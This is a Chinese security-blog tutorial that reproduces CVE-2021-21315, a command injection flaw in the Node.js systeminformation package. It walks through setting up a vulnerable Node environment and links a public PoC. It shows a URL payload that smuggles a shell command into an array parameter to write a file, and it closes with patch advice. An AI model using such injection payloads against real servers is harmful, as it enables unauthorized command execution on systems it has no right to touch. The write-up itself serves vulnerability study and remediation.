freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

CVE-2021-21315 NodeJs命令注入漏洞复现
FreeBuf-329171 2021-08-12 09:55:22 402457

0x00 简介

Node.js是一个基于Chrome V8引擎的JavaScript运行环境,用于方便的搭建响应速度快、易于拓展的网络应用。Node使用Module模块划分不同的功能,每一个模块都包含非常丰富的函数,如http就包含了和http相关的很多函数,帮助开发者对http、tcp/udp等进行操作或创建相关服务器。

0x01 漏洞概述

Node.js-systeminformation是用于获取各种系统信息的Node.js模块,在存在命令注入漏洞的版本中,攻击者可以通过未过滤的参数中注入payload执行系统命令。

0x02 影响版本

Systeminformation<5.3.1

0x03 环境搭建

本次测试环境使用的是kali 2020.4版本,首先下载受影响的Node.js,这里使用的是v12.18.4。

wgethttps://nodejs.org/dist/v12.18.4/node-v12.18.4-linux-x64.tar.xz

20210803203652.png

解压

tar -xvfnode-v12.18.4-linux-x64.tar.xz

为了后续方便,更换文件名字为nodejs,并将该文件移至 /usr/local/sbin/目录下

mvnode-v12.18.4-linux-x64 nodejs
mvnodejs/ /usr/local/sbin/

更换文件node和npm的软连接

ln-s/usr/local/sbin/nodejs/bin/node /usr/local/bin/
ln-s/usr/local/sbin/nodejs/bin/npm /usr/local/bin/

20210803204151.png

运行node.js看是否配置成功

20210803204316.png

0x04 漏洞复现

解压poc, poc链接https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC

20210803204356.png

运行 index.js

20210803204626.png

浏览器打开

http://ip:8000/api/getServices?name[]=$(echo -e 'zeeker' > test.txt)

这里直接指向本地

20210803205215.png

查看

20210803205338.png

发现存在test.txt文件

20210803205439.png

0x05 修复建议

该漏洞已经修复,将systeminformation升级至5.3.1或更高版本即可

链接:https://www.npmjs.com/package/systeminformation

若无法升级,检查或清理传递给 si.inetLatency()、si.inetChecksite()、si.services()、si.processLoad() 的参数,只允许使用 string,拒绝使用任何数组。

# 渗透测试 # 黑客 # web安全 # 网络安全技术
本文为 FreeBuf-329171 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf-329171 LV.5
这家伙太懒了,还未填写个人描述!
  • 27 文章数
  • 7 关注者
CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现
2021-08-31
CVE-2020-11651CVE-2020-11652 SaltStack认证绕过漏洞、目录遍历漏洞
2021-08-30
CVE-2020-1938 Tomcat AJP漏洞复现
2021-08-27
文章目录